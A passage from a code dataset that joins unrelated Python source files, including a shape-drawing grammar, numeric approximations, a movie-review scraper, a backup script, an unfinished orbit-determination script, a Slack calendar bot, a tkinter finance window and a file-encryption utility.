self.getChoice('DrawShapeX-iter')\n\nclass DrawShapeArmsAfter(Decision):\n def renderCode(self):\n return self.getChoice('DrawShapeArmsAfter')\n\n def registerChoices(self):\n self.addChoice('DrawShapeArmsAfter', {\n 'MoveForward(x * 10)':1,\n 'MoveForward(100)':2,\n '''Repeat(x){{\n MoveForward(60)\n }}''':1,\n '''MoveForward(50)\n TurnRight(90)''':1,\n '''\n TurnLeft(40)\n MoveBackwards(20)\n TurnRight(30)\n MoveForward(70)\n ''':1,\n 'TurnRight(120)':1,\n '''TurnRight(75)\n MoveForward(100)''':1,\n '''MoveForward(75)\n TurnRight(60)''':1,\n '''MoveForward(70)\n TurnRight(50)\n Repeat(6){{\n MoveForward(70)\n TurnRight(51.35)\n }}''':1,\n '''MoveForward(70)\n TurnRight(50)\n Repeat(6){{\n MoveForward(70)\n TurnRight(51.32)\n }}''':1,\n 'TurnRight(x)':1,\n '''\n Repeat(x){{\n MoveForward(x + 10)\n }}''':1\n })\n\nclass DrawShapeArmsBefore(Decision):\n def renderCode(self):\n return self.getChoice('DrawShapeArmsBefore')\n\n def registerChoices(self):\n self.addChoice('DrawShapeArmsBefore', {\n 'MoveForward(x * 10)':1,\n 'MoveForward(30)':1\n })\n\nclass DrawShapeUnrolled(Decision):\n def renderCode(self):\n return self.getChoice('DrawShapeUnrolled')\n\n def registerChoices(self):\n self.addChoice('DrawShapeUnrolled', {\n '''\n MoveForward(50)\n TurnRight(70)\n MoveForward(50)\n TurnRight(75)\n MoveForward(50)\n TurnRight(72)\n MoveForward(50)\n TurnRight(72)\n MoveForward(50)\n TurnRight(140)\n MoveForward(25)\n ''':1,\n '''\n TurnRight(60)\n MoveForward(30)\n TurnLeft(120)\n MoveForward(30)\n ''':1,\n '''\n MoveForward(90)\n TurnRight(40)\n MoveForward(90)\n TurnRight(40)\n MoveForward(100)\n ''':1,\n })\n","sub_path":"src/rubricsampling/grammars/codeorg9_ability/drawShapeX.py","file_name":"drawShapeX.py","file_ext":"py","file_size_in_byte":4210,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"471420276","text":"\ndef cpi(m_termos): #cpi=calculo valor aproximado m de pi\n pi=3\n i=1\n while i<=m_termos:\n k=i*2.0\n a=(4.0/(k*(k+1)*(k+2)))*((-1)**(i+1))\n pi=pi+a\n i=i+1\n return pi\n\ndef ft(numero): #ft=fatorial\n fatorial=1\n while numero>0:\n fatorial=fatorial*numero\n numero=numero-1\n return fatorial\n\ndef ccos(z,epsilon): #ccos=calculo de cos(z) limitado por epsilon\n cosx=1.0\n i=2\n j=1\n while(z**i)/ft(i)>=epsilon:\n a=(-1)**j\n cosx=cosx+a*((z**i)/ft(i))\n i=i+2\n j=j+1\n return cosx\n\ndef cra(m,epsilon): #cra=calculo da razao aurea\n pi_considerado=cpi(m)/5\n aurea=2*ccos(pi_considerado,epsilon)\n return aurea\n ","sub_path":"moodledata/vpl_data/40/usersdata/135/21835/submittedfiles/funcoes.py","file_name":"funcoes.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"582391742","text":"import requests\nfrom bs4 import BeautifulSoup\nimport json\nimport re\n\nproxy = {\n 'http': '113.121.79.133:9999',\n}\n\n\ndef getLcomment(mvid, filename):\n start = 0\n while True:\n header = {\n 'user-agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) '\n 'Chrome/63.0.3239.132 Safari/537.36 ',\n }\n try:\n url = 'https://movie.douban.com/subject/' + str(mvid) + '/reviews?start=' + str(start)\n start += 20\n req = requests.get(url, headers=header, proxies=proxy)\n soup = BeautifulSoup(req.text, 'html.parser')\n node = soup.select('.short-content')\n for va in node:\n id = va.select('a')[0]['id'].replace('toggle-', '').replace('-copy', '')\n # print(id)\n ajaxUrl = 'https://movie.douban.com/j/review/' + str(id) + '/full'\n # print(ajaxUrl)\n response = requests.get(url=ajaxUrl, headers=header)\n data = json.loads(response.text)\n comment = re.sub('<.*?>', \"\", data['html'])\n with open(filename, \"a\", encoding='utf-8') as f: # 打开文件\n f.write(comment)\n except Exception as e: # 有异常退出\n print(e)\n break\n\n\nif __name__ == '__main__':\n mvid = input('电影的id为:')\n getLcomment(mvid)\n","sub_path":"get/get_long_comments.py","file_name":"get_long_comments.py","file_ext":"py","file_size_in_byte":1424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"562469069","text":"#!/usr/bin/python3\n\n'''Title : Automated Backup script.\nAuther : Jaysinh Shukla\nDate : 21-01-2014\nVersion : 0.4\nOS : POSIX\nDescription : The script will make backup of all the files in zip formate. User is required to add the list of file names with their path in SourcePath List. User can also give additional paths of the files as command line arguments. It is to be noted that the argumetns provided will not create any entry in the parmenet list of the script. The program will create dicrectory named with current date and backup file named current time. If backup of day is created first time then the program will create new dirctory.\nReferences :\n\nPython Modules\ntime.strftime(str format) : http://docs.python.org/2/library/time.html#time.strftime\n\nos.path.exists(str path) : http://docs.python.org/2/library/os.path.html#os.path.exists\nos.name : http://docs.python.org/2/library/os.html#os.name\n\nzipfile.Zipfile(str file, str[1] mod) : http://docs.python.org/2/library/zipfile#zipfile.ZipFile\nzipfile.write(str filename) : http://docs.python.org/2/library/zipfile#zipfile.ZipFile.write\nzipfile.close() : http://docs.python.org/2/library/zipfile#zipfile.ZipFile.close\n\nsys.arv[:] : http://docs.python.org/2/library/sys.html#sys.argv\n \n'''\n\nimport time\nimport os\nimport zipfile\nimport sys\n\ndef CreateBackupInZip(SourcePathsAsList,DestinationPathAsString):\n '''The function will accept the paths of all the files as List and the single string as destination path. The function will create the backfile in '.zip' formate with the use of Zip pakage of linux operating system. Name of backup file is current date and time always.'''\n \n # Getting the Current Date and Time\n currentDate = time.strftime(\"%d_%m_%y\")\n currentTime = time.strftime(\"%H_%M_%S\")\n\n # Appending Current Date to Destination path\n DestinationPathAsString += currentDate\n\n # Checking for the Directory\n if not os.path.exists(DestinationPathAsString):\n os.mkdir(DestinationPathAsString)\n\n DestinationPathAsString += \"{0}{1}{2}\".format('/',currentTime,'.zip')\n \n # Creating Zip.\n \n BackupFile = zipfile.ZipFile(DestinationPathAsString,\"w\")\n \n for path in SourcePathsAsList:\n BackupFile.write(path)\n \n BackupFile.close()\n\nif __name__ == '__main__':\n\n SourcePath = ['/home/bigj/Documents/Programes/Python/dictionary.py','/home/bigj/Documents/Programes/Python/testing.py']\n\n DestinationPath = '/home/bigj/Documents/'\n\n if os.name != 'posix':\n print(\"Sorry. This program is only written for POSIX type operating system.\")\n else:\n for arg in sys.argv[1:]:\n SourcePath.append(arg) \n\n CreateBackupInZip(SourcePath,DestinationPath)\n'''\n if not CreateBackupInZip(SourcePath,DestinationPath):\n print(\"Backup created Sucessfully!\")\n else:\n print(\"Backup not created successfully!\")\n'''\n","sub_path":"automatedBackup.py","file_name":"automatedBackup.py","file_ext":"py","file_size_in_byte":2809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"222697805","text":"import numpy as np\nimport sympy as sp\n\"\"\"\nFalta iterar r2 \np=vector unitario tierra ceres\nP=vector tierra ceres\nr=vector sol ceres\nR=vector tierra sol\nT=tiempo observación\nt=kt tiempo gauss\n\n\"\"\"\n#angulo para distancia Tierra-Sol\ndef d(dia):\n return(365/360)*(31+25+ dia)\n\ndef decimales(a,b,c):\n return(a+b/60+c/3600)\ndef squ(x):\n return(x**2)\n\n#constantes\nc= 173 #UA/dia~normal (velocidad de la luz) \nG=1.48814*10**-34#AU**3/kg*día**2~~ 6.67408*10**-11 #N*m**2/kg**2\nmu=G*(1.989*10**30 + 5.972*10**24)#kg\nk=0.01720209895\nE_=[[23,26,07.249],[23,26,07.293],[23,26,07.335]]#grados, minutos,segundos\nE_=[np.sum(decimales(x[0],x[1],x[2])for x in E_)/len(E_)]#angulo ecliptica-eceleste\nR=1#UA\nExct= 0.016\nP=0#~luego se cambia ~creo que nunca se usa\n\n#datos observaciones\nAr= np.array([[8,42,13.71520391],[8,42,3.6776478],[8,41,57.61776475],[8,41,45.35651401]])# reales\nDec=np.array([[31,57,48.37108478],[31,55,36.28691431],[31,53,43.2407565],[31,40,4.33621619]])# reales\ndatos=np.array([[15*decimales(x[0],x[1],x[2]) for x in Ar],[decimales(x[0],x[1],x[2]) for x in Dec]])#AR,DC\ndatosTransformados=[datos[:,0],datos[:,1],datos[:,2]]\ndatosExtra=[datos[:,3]]\n\n#vector observacion i,j,k ~~vectores unitarios\ndef vector(ar,d):\n return np.cos(ar)*np.cos(d),np.sin(ar)*np.cos(d),np.sin(d)\n\nvectores=[list(vector(i[0],i[1]))for i in datosTransformados]\np1=np.array(vectores[0])#observaciones\np2=np.array(vectores[1])#observaciones\np3=np.array(vectores[2])#observaciones\n#print(vectores)---[[],[]]\n#norma vectores p\nnormaVectores=[np.linalg.norm(i)for i in vectores] #~no es necesario aún \n\n#R (vector posición entre sol y tierra)\ndef rTS (angulo):\n return(R*(1-squ(Exct))/1+(Exct*np.cos(angulo)))\nR1=rTS(d(14))#--magnitud \nR1=np.array([R1*np.cos(d(14)),R1*np.sin(d(14)),0])#¿? No sé bien si aquí sí tenga el vector. En caso de que \"sí\"estaría en dos dimensiones\nR2=rTS(d(15))\nR2=np.array([R2*np.cos(d(15)),R2*np.sin(d(15)),0])\nR3=rTS(d(16))\nR3=np.array([R3*np.cos(d(16)),R3*np.sin(d(16)),0])\n#print(R3,np.linalg.norm(R3))----[],#\n#tiempo en kt (gaussian)\n\ndef dias(h,m,s):\n return((h+(s/60+m)/60)/24)\nT1=dias(9,27,39)#--#\nT2=dias(11,21,33)#--#\nT3=dias(7,44,46)#--#\n#print(T3)\n\ndef tiempos(T1,T2,T3):\n time=[]#t-t1-t3 \n time.append(k*(T3-T1))\n time.append(k*(T1-T2))\n time.append(k*(T3-T2))\n return(time)\nt=tiempos(T1,T2,T3)\n#print(t)---[]\n#valor inicial de r2 (vector posicion de la observación central)\n#print(p1)\n#print(p2)--np.array\n#print(p3)\n#print(R1)--np.array\nDinicial=np.dot(p1,np.cross(p2,p3))\n#print(Dinicial) ---#\ndef DXx (Rx):\n if(np.all(Rx==R1)):\n return np.dot(np.cross(R1,p2),p3)\n elif (np.all(Rx==R2)):\n return np.dot(np.cross(p1,R2),p3)\n elif (np.all(Rx==R3)):\n return np.dot(p1,np.cross(p2,R3))\n#print(DXx(R1))---#\nA1=t[2]/t[0]#---#\nB1=(A1/6)*(squ(t[0])-squ(t[2]))#---#\nA3=-t[1]/t[0]#---#\nB3=(A3/6)*(squ(t[0])-squ(t[1]))#---#\n\nA=(A1*DXx(R1)-DXx(R2)+A3*DXx(R3))/-Dinicial#---#\nB=(B1*DXx(R1)+B3*DXx(R3))/-Dinicial#---#\n\nEe=-2*(np.dot(p2,R2))#---#\nF=squ(np.linalg.norm(R2))#---#\n#print(Ee,F)\naa=-(squ(A)+A*Ee+F)#---#\nb=-mu*(2*(A*B+B*Ee))#---#\ncc=-squ(mu)*squ(B)#---#\n#print(aa,b,cc)\n\nr_2=sp.Symbol('r', real=True)\nequacion=r_2**8+aa*(r_2**6)+b*(r_2**3)+cc\nr2=sp.solve(equacion,r_2)\nr2 = np.array(r2)\nr2_inicial = r2[r2>0]\n\nrs=[[],[],[]]\ndef f (r2,dr2,kt):\n return 1-mu*kt/2*(r2**3)+ mu*(np.dot(r2,dr2))/2*(r2**5)\ndef g(r2,kt):\n return kt-(kt**3)*mu/6*(r2**3)\n\n# Iterate\n \nfor i in range(len(r2_inicial)):\n x = r2_inicial[i]\n #r2=x \n R2_punto=(R3-R2)/k*(t[2]-t[1])#--¿?Método de Lagrange\n p2_punto=(squ(t[2])*(p1-p2)-squ(t[0])*(p3-p2))/(t[0]*t[1]*t[2])#---manera de hacer esto más corta ¿? \n p2_2punto=-2*((t[2]*(p1-p2)-t[0]*(p3-p2))/t[0]*t[1]*t[2])\n P2_punto=-(1/2)*((1/x**3)-((1+(1/328900.5))/np.linalg.norm(R2)**3))*((np.dot(np.cross(p2,p2_2punto),R2))/(np.dot(np.cross(p2,p2_punto),p2_2punto))) \n AA=np.dot(np.cross(p2,p2_punto),R2)/np.dot(np.cross(p2,p2_punto),p2_2punto)\n BB=((1+(1/328900.5))/np.linalg.norm(R2)**3)*AA\n P2= (AA/x**3)-BB\n #print(P2)--#\n r2o=(P2*p2)-R2\n print(r2o)\n dr2=(P2_punto*p2)+(p2*p2_punto)-R2_punto\n print(dr2)\n #print(P2_punto)---#\n finale= False\n r = []\n #print (np.shape(dr2))\n while finale==False: \n otro_r2=r2o\n #truncated f & g \n \n f=[f(otro_r2,dr2,kt)for kt in t]\n f1=f[0]\n f3=f[2]\n #print(np.shape(f),f)\n \n g=[g(otro_r2,kt) for kt in t]\n g1=g[0]\n g3=g[2]\n #print(g)\n \n #dr2\n r1=f1*otro_r2+g1*dr2\n r3=f3*otro_r2+g3*dr2\n d1=-f3/(f1*g3-f3*g1)\n d3=f1/(f1*g3-f3*g1)\n dr2=d1*r1+d3*r3\n #dr2=sp.solve()\n #hallar c1 y c3\n \n c1= g3/f1*g3-g1*f3\n c2=-1\n c3= -g1/f1*g3-g1*f3 \n \n #hallar vectores posicion entre tierra y asteroide\n P1=(c1*DXx(R1)+c2*DXx(R2)+c3*DXx(R3))/c1*Dinicial\n P2=(c1*DXx(R1)+c2*DXx(R2)+c3*DXx(R3))/c2*Dinicial\n P3=(c1*DXx(R1)+c2*DXx(R2)+c3*DXx(R3))/c3*Dinicial\n #print(P2)\n \n #hallar posicion sol asteroide \n r1=P1-R1\n r2=P2-R2\n r3=P3-R3\n r=[r1,r2,r3]\n #print(r2)\n #hallar r y r.\n #Corrección tiempo de la luz ~~en teoría desde aquí ya empieza\n T1= T1-P1/c\n T2= T2-P2/c\n T3= T3-P3/c\n \n t=tiempos(T1,T2,T3)\n if(np.abs(np.linalg.norm(otro_r2)-np.linalg.norm(r2))<=0.001):\n finale=True\n else:\n otro_r2=r2\n rs[i] = r\n\"\"\"\nJusqu'ici\n\"\"\"\nprint(rs)\n\n'''\n#rotar vectores r\ndef Rotar (E_,vector):\n return np.dot(np.matrix([[1,0,0],[0,np.cos(E_),np.sin(E_)],[0,-np.sin(E_),np.cos(E_)]]),vector)\nr=[Rotar(E_,vector) for vector in rs['la que vaya a escoger']]\nr2=r[1] \n\"\"\"\nELEMENTOS ORBITALES\n\"\"\"\ndef com(x1,x2):\n comun=[]\n for x in x1 and x2:\n comun.append(x)\n return (comun)\nR2_punto=(R3-R2)/k*(t[2]-t[1])#--¿?Método de Lagrange--Además los t son los corregidos en el ciclo o los iniciales\np2_punto=(squ(t[2])*(p1-p2)-squ(t[0])*(p3-p2))/(t[0]*t[1]*t[2])#---manera de hacer esto más corta ¿? \np2_2punto=-2*((t[2]*(p1-p2)-t[0]*(p3-p2))/t[0]*t[1]*t[2])\nP2_punto=-(1/2)*((1/r2**3)-((1+(1/328900.5))/np.linalg.norm(R2)**3))*((np.dot(np.cross(p2,p2_2punto),R2))/(np.dot(np.cross(p2,p2_punto),p2_2punto))) \nr2_punto=(P2_punto*p2)+(p2*p2_punto)-R2_punto\nrm=r2\nrp=r2_punto\nNorma_rm= np.linalg.norm(rm)\nh=np.cross(rm,rp)\n\n#Semieje mayor(a)\n\na=sp.Symbol('a')\na=(2/Norma_rm)-(np.dot(rp,rp)/mu)**-1\n\nP=2*np.pi*a**(3/2) #~~Verificar donde se usa\n\n#Excentricidad(e)\n\ne=np.sqrt((1-(np.linalg.norm(np.cross(rm,rp))**2))/mu*a)\n\n#Inclinación(i)\n\nhz= h[3]\ni=np.arccos(hz/np.linalg.norm(h))\n\n#Longitud del nodo ascendente(O-omega)\n\nhx=h[0]\nhy=-h[1]\nO1=np.arcsin(hx/h*np.sin(i))\nO2=np.arccos(-hy/h*np.sin(i))\nO= com(O1,O2)\n\n#Perihelio(w-omega)\n#hallar v True anomaly\n\nv1=np.arccos(((a*(1-squ(e))/Norma_rm)-1)/e)\nv2=np.arcsin(np.dot(rm,rp)*a*(1-squ(e))/np.linalg.norm(h)*Norma_rm)\nv= np.rad2deg(com(v1,v2))\n\n#hallar U\n\nU1=np.arccos(np.dot(rm,np.cos(O)+np.sin(O))/Norma_rm) \nn=[np.cos(O),np.sin(O),0]\nz=Norma_rm*np.cross(n,(rm/Norma_rm)) \nU2=np.arcsin(z[0]/Norma_rm*np.sin(i)*np.sin(O))\nU=np.rad2deg(com(U1,U2))\n\nW=(U-v)\nw=[]\nfor x in W:\n if (0<=x<360):\n w.append(x)\n#Mean anomaly(M)\n\nE=np.arccos((1/e)*(1-Norma_rm/a)) \nM= E-e*np.sin(E) \n#Hay otra manera de M ~revisar\n \n\"\"\"\n ¿?\n\"\"\"\n#f y g otra vez\nn=np.sqrt(mu/a**3)\ndef fi(r2,DEi):#DEi= delta de la anomalía excéntrica (Ei-E.observación central) \n return(1-((a/r2)*(1-np.cos(DEi))))\ndef gi(ti,DEi):\n return((ti-T2)+(1/n)*np.sin(DEi)-DEi)\n'''","sub_path":"orbit det.py","file_name":"orbit det.py","file_ext":"py","file_size_in_byte":7675,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"391903736","text":"def Pload(mirror, blkFlag=True, printFigs=False, miniFlag = False):\n \"\"\"Plot SACE of given mirror areas\"\"\"\n import matplotlib.pyplot as plt\n import numpy as np\n\n mir = mirror\n\n # for 2 column presentation\n if miniFlag:\n lengDiv = 2\n else:\n lengDiv = 1\n\n ### Plot detailed SACE\n #Plot SACE from all areas on same plot\n mins = np.array(mir.r_t)/60.0;\n minEnd = max(mins)\n caseName = mir.simParams['fileName'][:-1]\n\n fig, ax = plt.subplots()\n\n ax.plot(mins, mir.r_ss_Pload, linewidth=1.25,)\n\n # Scale current axis.\n box = ax.get_position()\n ax.set_position([box.x0, box.y0, box.width * 1.05, box.height])\n\n # Put a legend to the right of the current axis\n #ax.legend(loc='center left', bbox_to_anchor=(1, 0.5))\n\n ax.set_title('System Loading\\n Case: ' + caseName)\n ax.set_xlim(0,minEnd)\n ax.set_ylabel('MW')\n ax.set_xlabel('Time [minutes]')\n\n #ax.legend(loc=0)\n ax.grid(True)\n fig.set_dpi(150)\n fig.set_size_inches(9/lengDiv, 4.5)\n fig.tight_layout()\n if printFigs: plt.savefig(caseName+'Pload'+'.pdf', dpi=300)\n plt.show(block = blkFlag)\n plt.pause(0.00001)","sub_path":"psltdsim/plot/Pload.py","file_name":"Pload.py","file_ext":"py","file_size_in_byte":1162,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"638110994","text":"# -*- coding: utf-8 -*-\nimport sys\nfrom slackbot.bot import respond_to\nsys.path.append('..')\nfrom application.google_calendar import events_today, events_from_now, get_upcoming_events, events2text_custom\n\n\ncalendar_ids = {'swordart': 'g9f9k8e0tal8nohjb2bt9eimvo@group.calendar.google.com',\n 'marianne': 'b5hemoec1ol2uo5omk1pvmqbvc@group.calendar.google.com',\n 'honnoji': 'k9k5kfnrehfomillqffi1kpe7g@group.calendar.google.com'}\n\n@respond_to('今日の映畫を教えて')\ndef respond_schedule_today(message):\n #calendar_id = 'k9k5kfnrehfomillqffi1kpe7g@group.calendar.google.com'\n #reply_message = events2text(calendar_id=calendar_id)\n #swordart_events = get_upcoming_events(calendar_id=calendar_ids['swordart'], max_results=100)\n #marianne_events = get_upcoming_events(calendar_id=calendar_ids['marianne'], max_results=100)\n #honnoji_events = get_upcoming_events(calendar_id=calendar_ids['honnoji'], max_results=100)\n\n for key in calendar_ids:\n reply_message = events2text_custom(\n events_from_now(events_today(get_upcoming_events(calendar_id=calendar_ids[key]))))\n message.reply(reply_message)\n\n\n@respond_to('ソードアートのスケジュールを見せて')\ndef respond_schedule_swordart(message):\n reply_message = events2text_custom(\n events_from_now(get_upcoming_events(calendar_id=calendar_ids['swordart'])))\n message.reply(reply_message)\n\n\n@respond_to('マリアンヌのスケジュールを見せて')\ndef respond_schedule_swordart(message):\n reply_message = events2text_custom(\n events_from_now(get_upcoming_events(calendar_id=calendar_ids['marianne'])))\n message.reply(reply_message)\n\n\n@respond_to('本能寺ホテルのスケジュール��見せて')\ndef respond_schedule_swordart(message):\n reply_message = events2text_custom(\n events_from_now(get_upcoming_events(calendar_id=calendar_ids['honnoji'])))\n message.reply(reply_message)\n","sub_path":"application/plugins/slack.py","file_name":"slack.py","file_ext":"py","file_size_in_byte":1970,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"438463377","text":"import argparse\nimport base64\nimport datetime\nimport hashlib\nimport os\nimport simplecrypt\nimport sys\n\nclass AESCipher:\n\n def __init__(self, key): \n self.key = hashlib.sha256(key.encode()).digest()\n\n def encrypt_file(self, in_filename):\n out_filename = os.path.splitext(in_filename)[0] + \".enc\"\n try:\n with open(in_filename, 'rb+') as infile:\n try:\n with open(out_filename, 'wb+') as outfile:\n raw = infile.read()\n if raw:\n outfile.write(base64.b64encode(simplecrypt.encrypt(self.key, raw)))\n except IOError:\n print(\"failed to write to output file\")\n sys.exit(1)\n except IOError:\n print(\"failed to read raw file\")\n sys.exit(1)\n return out_filename\n\n def decrypt_file(self, in_filename):\n out_filename = os.path.splitext(in_filename)[0] + \".dec\"\n try: \n with open(in_filename, 'rb') as infile:\n try:\n with open(out_filename, 'wb') as outfile:\n encrypted = infile.read()\n if encrypted:\n outfile.write(simplecrypt.decrypt(self.key, base64.b64decode(encrypted)))\n except IOError:\n print(\"failed to write to output file\")\n sys.exit(1)\n except IOError:\n print(\"failed to read enc file\")\n sys.exit(1)\n return out_filename\n \nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='Encrypt/Decrypt file')\n parser.add_argument('--file', dest='filename', help='file to convert')\n parser.add_argument('--action', dest='action', help='encrypt or decrypt file')\n parser.add_argument('--key', dest='key', help='key to use')\n\n args = parser.parse_args()\n if not args.filename:\n print(\"No filename specified\")\n sys.exit(1)\n else:\n filename = args.filename\n if not args.action:\n print(\"No action specified\")\n sys.exit(1)\n elif args.action not in [\"encrypt\",\"decrypt\"]:\n print(\"Invalid action\")\n sys.exit(1)\n else:\n action = args.action\n if not args.key:\n key = datetime.datetime.now().strftime(\"%s\")\n print(\"No key was defined, using {key}\".format(key=key))\n else:\n key = args.key\n\n cipher = AESCipher(key)\n if action == \"encrypt\":\n cipher.encrypt_file(filename)\n if action == \"decrypt\":\n cipher.decrypt_file(filename)\n","sub_path":"post_files/python/cipher_file.py","file_name":"cipher_file.py","file_ext":"py","file_size_in_byte":2617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"332879501","text":"class Tv():\n canal = None\n horario = None\n escenografia = None\n actores = None\n director = None\n serie = None\n transmision = None\n setfilmacion = None\n guion = None\n programa = None\n \n \n def __init__(self):\n print (\"Serie Victoius\")\n \n def Trama(self):\n print(\"¿De que trata?\")\n \n def Actuaciones(self):\n print(\"Protagonistas\")\n \n def escenografia(self):\n print(\"Lugar\")\n \n def generos(self):\n print(\"Que trata\")\n \n def Divertir(self):\n print(\"entretener\")\n\n\nvictorius= Tv()\nvictorius.canal=(\"18\")\nvictorius.horario=(\"7:00pm\")\nvictorius.escenografia=(\"1\")\nvictorius.actores=(\"11\")\nvictorius.director=(\"Dan Schneider\")\nvictorius.serie=(\"Nickelodeon\")\nvictorius.transmision=(\"2010-2013\")\nvictorius.setfilmacion=(\"4\")\nvictorius.guion=(\"Disney Channel\")\nvictorius.programa=(\"Acto para adolescentes\")\n\n\n\nprint(victorius.canal)\nprint(victorius.horario)\nprint(victorius.escenografia)\nprint(victorius.actores)\nprint(victorius.director)\nprint(victorius.serie)\nprint(victorius.transmision)\nprint(victorius.setfilmacion)\nprint(victorius.guion)\nprint(victorius.programa)","sub_path":"Semana2/5.py","file_name":"5.py","file_ext":"py","file_size_in_byte":1170,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"295435918","text":"from tkinter import *\nfrom tkinter import messagebox\nfrom tkinter import ttk\nimport database\n\n\nclass Delete:\n def __init__(self, table_name):\n\n self.table = table_name\n self.window = Tk()\n self.window.title(\"Delete Transaction\")\n self.window.minsize(1050, 700)\n\n money = PhotoImage(file=\"images/1618160929241.png\")\n self.canvas = Canvas(height=700, width=1050, highlightthickness=0)\n self.canvas.pack(fill=\"both\", expand=True)\n self.bg_image = self.canvas.create_image(0, 0, image=money, anchor=\"nw\")\n\n self.Table_Frame = Frame(bd=4, relief=RIDGE, bg=\"white\")\n self.Table_Frame.place(x=225, y=80, width=650, height=400)\n self.scroll_x = Scrollbar(self.Table_Frame, orient=HORIZONTAL)\n self.scroll_y = Scrollbar(self.Table_Frame, orient=VERTICAL)\n self.scroll_x.pack(side=BOTTOM, fill=X)\n self.scroll_y.pack(side=RIGHT, fill=Y)\n\n self.id_label = self.canvas.create_text(390, 530, fill=\"white\", text=\"ID : \", font=(\"Arial\", 17, \"bold\"))\n self.id_entry = Entry(self.canvas, width=40, font=(\"Arial\", 10, \"bold\"), fg=\"darkslategray\")\n self.id_entry.insert(END, string=\"Select ID of the transaction from the table.\")\n self.id_entry.place(x=425, y=521)\n\n delete_image = PhotoImage(file=\"images/sign_up100.png\")\n self.delete_button = Button(cursor=\"hand2\", image=delete_image, text=\"Delete\", height=50, width=160, compound=\"center\", fg=\"white\", font=(\"Times New Roman\", 17, \"bold\"), highlightthickness=0, command=self.delete_pressed)\n self.delete_button.place(x=460, y=580)\n\n back_image = PhotoImage(file=\"images/1618084232561 (1).png\")\n self.back_button = Button(cursor=\"hand2\", image=back_image, highlightthickness=0, width=120, height=70, text=\"Back\", fg=\"white\", font=(\"Times New Roman\", 14, \"bold\"), compound=\"center\", command=self.window.destroy)\n self.back_button.place(x=0, y=0)\n\n self.s = ttk.Style()\n self.Transaction_table = ttk.Treeview(self.Table_Frame, column=(\"id\", \"date\", \"category\", \"amount\", \"balance\", \"income\"), xscrollcommand=self.scroll_x.set, yscrollcommand=self.scroll_y.set)\n\n self.make_delete_table()\n\n self.window.mainloop()\n\n def make_delete_table(self):\n connection = database.connect()\n self.s.theme_use(\"clam\")\n self.s.configure(\"Treeview.Heading\", background=\"lawngreen\", foreground='white', font=('Arial', 13, 'bold'))\n self.s.configure(\"Treeview\", background=\"lavender\", rowheight=35, fieldbackground=\"lavender\", font=('Arial', 11))\n self.s.map('Treeview', background=[('selected', 'darkgray')])\n self.scroll_x.config(command=self.Transaction_table.xview)\n self.scroll_y.config(command=self.Transaction_table.yview)\n self.Transaction_table.heading(\"id\", text=\"ID\", anchor=\"center\")\n self.Transaction_table.heading(\"date\", text=\"DATE\", anchor=\"center\")\n self.Transaction_table.heading(\"category\", text=\"CATEGORY\", anchor=\"center\")\n self.Transaction_table.heading(\"amount\", text=\"EXPENSE\", anchor=\"center\")\n self.Transaction_table.heading(\"balance\", text=\"BALANCE\", anchor=\"center\")\n self.Transaction_table.heading(\"income\", text=\"INCOME\", anchor=\"center\")\n\n self.Transaction_table['show'] = 'headings'\n self.Transaction_table.column(\"id\", width=100, anchor=\"center\")\n self.Transaction_table.column(\"date\", width=100, anchor=\"center\")\n self.Transaction_table.column(\"category\", width=100, anchor=\"center\")\n self.Transaction_table.column(\"amount\", width=100, anchor=\"center\")\n self.Transaction_table.column(\"balance\", width=100, anchor=\"center\")\n self.Transaction_table.column(\"income\", width=100, anchor=\"center\")\n\n self.Transaction_table.pack(fill=BOTH, expand=1)\n\n data = database.get_delete_table(connection, self.table)\n i = 0\n for row in data:\n self.Transaction_table.insert('', i, values=(row[0], row[1], row[2], row[3], row[4], row[5]))\n i = i+1\n self.Transaction_table.pack()\n\n def delete_pressed(self):\n id = self.id_entry.get()\n if id == \"\" or id == \"Select ID of the transaction from the table.\":\n messagebox.showinfo(title=\"Unsuccessful\", message=\"Please select id\")\n else:\n connection = database.connect()\n is_done = database.delete_transaction(connection, self.table, id)\n if is_done:\n messagebox.showinfo(title=\"Successful\", message=\"Transaction deleted.☑\")\n for i in self.Transaction_table.get_children():\n self.Transaction_table.delete(i)\n data = database.get_delete_table(connection, self.table)\n i = 0\n for row in data:\n self.Transaction_table.insert('', i, values=(row[0], row[1], row[2], row[3], row[4], row[5]))\n i = i+1\n self.id_entry.delete(0, END)\n else:\n messagebox.showinfo(title=\"Unsuccessful\", message=\"Please select a valid id\")\n self.id_entry.delete(0, END)\n","sub_path":"delete.py","file_name":"delete.py","file_ext":"py","file_size_in_byte":5171,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"465158981","text":"# coding: utf-8\nfrom __future__ import unicode_literals\nfrom __future__ import absolute_import\nfrom __future__ import print_function\n\nimport io\n\nfrom django.test import TestCase\nfrom django.utils.encoding import force_text\n\nimport django_busybody.views as bb_datas\n\n\nclass TestDjango_datas(TestCase):\n line0 = ['header', 'ヘッダ']\n line1 = ['value', '値']\n\n def get_rows(self):\n yield self.line0\n yield self.line1\n\n def test_csv_0(self):\n csv_data = bb_datas.CsvDataMixin()\n csv_data.get_rows = self.get_rows\n buf = io.BytesIO()\n csv_data.write_data(buf)\n buf.seek(0)\n rows = csv_data.read_data(buf)\n self.assertEqual(next(rows), self.line0)\n self.assertEqual(next(rows), self.line1)\n\n def test_csv_1(self):\n csv_data = bb_datas.CsvDataMixin()\n buf = io.BytesIO()\n csv_data.write_data(buf, [self.line0, self.line1])\n buf.seek(0)\n rows = csv_data.read_data(buf)\n self.assertEqual(next(rows), self.line0)\n 